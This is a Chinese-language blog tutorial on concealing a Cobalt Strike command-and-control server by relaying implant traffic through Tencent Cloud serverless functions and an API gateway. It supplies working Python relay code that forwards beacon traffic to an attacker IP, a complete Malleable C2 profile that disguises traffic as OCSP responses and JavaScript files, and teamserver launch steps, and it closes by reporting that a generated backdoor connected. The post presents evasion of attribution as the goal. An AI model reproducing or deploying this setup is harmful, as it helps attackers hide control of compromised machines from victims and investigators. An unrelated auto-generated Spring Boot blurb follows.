使用腾讯云函数隐藏C2

基于CS,隐藏C2服务端比较常用的有:

域前置,走cdn域名,利用云函数

但是近几年域前置寸步难行,所以走CDN和利用云函数比较常见,

刚刚起步走了不少弯路,所以记录下来,希望可以帮到大家:


简介:
腾讯云云函数(Serverless Cloud Function,SCF),可以为企业和开发者提供无服务器执行环境,无需购买和管理服务器,只要在腾讯云上使用平台支持的语言编写核心代码并设置代码运行的条件,即可在腾讯云基础设施上弹性、安全地运行代码。

 

优点:

所有的流量都是通过腾讯云函数进行转发,因此溯源后门只能得到腾讯云的域名和IP,且云函数的服务器是自带 CDN 的,能够很好的隐藏我们的C2服务器。

原理 :

原理其实很简单,由第三方提供的服务接收C2客户端流量,转发给C2服务端,避免直接暴露服务端,所以第三方服务最好有以下优点:

  • 访问速度要快
  • 价格实惠
  • 主动提供cdn

本文以腾讯云+API网关为例

所需组件:

  • CS4.0以上版本
  • 腾讯云(能白嫖一年免费API网关)

创建云函数

  • 登录腾讯云,云产品 =》 云函数 =》新建

  • 选择从头开始

  • 将以下代码复制粘贴到云函数,以下代码中的C2修改为自己的服务器IP,点击完成

# coding: utf8
import json,requests,base64
def main_handler(event, context):
    response = {}
    path = None
    headers = None
    try:
        C2='http://45.xx.xx.45:80'
        if 'path' in event.keys():
            path=event['path']
        if 'headers' in event.keys():    
            headers=event['headers']
        if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' :
            resp=requests.get(C2+path,headers=headers,verify=False) 
        else:
            resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
            print(resp.headers)
            print(resp.content)
        response={
            "isBase64Encoded": True,
            "statusCode": resp.status_code,
            "headers": dict(resp.headers),
            "body": str(base64.b64encode(resp.content))[2:-1]
        }
    except Exception as e:
        print('error')
        print(e)
    finally:
        return response


  • 创建触发器

  • 照这个修改

  • 点击API服务名对触发器进行配置
  • 将路径修改为【/】,然后点击立即完成

发布成功,到这里我们的云函数和触发器就配置成功了。
这里的公网域名就是我们下面要配置的cs主机:

配置cs
接下来就是配置cs,将以下代码保存为profile配置文件(不需要修改):
set sample_name "t";
set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
    set uri "/api/x";
    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/y";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }
    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

将这个文件放在与teamserver同一目录下就可以


启动cs:
./teamserver IP 密码 tecent_cloud_func.profile

客户端登录设置监听
启动cs客户端,添加监听器,跟正常的监听器一样,只是把原来的服务器IP换成了腾讯云网关API的域名,也就是我们第二步创建API网关触发器得到的公网域名:

保存,生成后门进行测试。成功上线

  • 32
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
腾讯云的云函数是一种Serverless服务,也称为SCF(Serverless Cloud Function),它允许用户在腾讯云的基础设施上弹性、安全地运行代码,而无需购买云服务器和虚拟机。云函数支持所有主流的编程语言,包括Spring Boot。\[1\] 使用函数时,程序员只需要上传函数代码,其他底层资源都由腾讯云在云上进行管理。这种函数级别的资源管理结合了腾讯云的各种云能力,使得开发变得更加简单和高效。\[2\] 在使用函数时,还会有一个API网关作为云函数的主要入口。API网关提供了HTTP接口、参数校验、鉴权、限流、自定义域名、自动化文档等功能,为云函数提供了强大的支持。\[3\] 因此,如果你想在腾讯云的云函数使用Spring Boot,你可以将Spring Boot应用程序的代码上传到云函数中,并通过API网关来访问和管理你的应用程序。这样你就可以充分利用腾讯云的Serverless服务和云能力来运行和扩展你的Spring Boot应用程序。 #### 引用[.reference_title] - *1* *2* *3* [实操教学|用Serverless 分分钟部署一个 Spring Boot 应用,真香!](https://blog.csdn.net/youanyyou/article/details/125532137)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值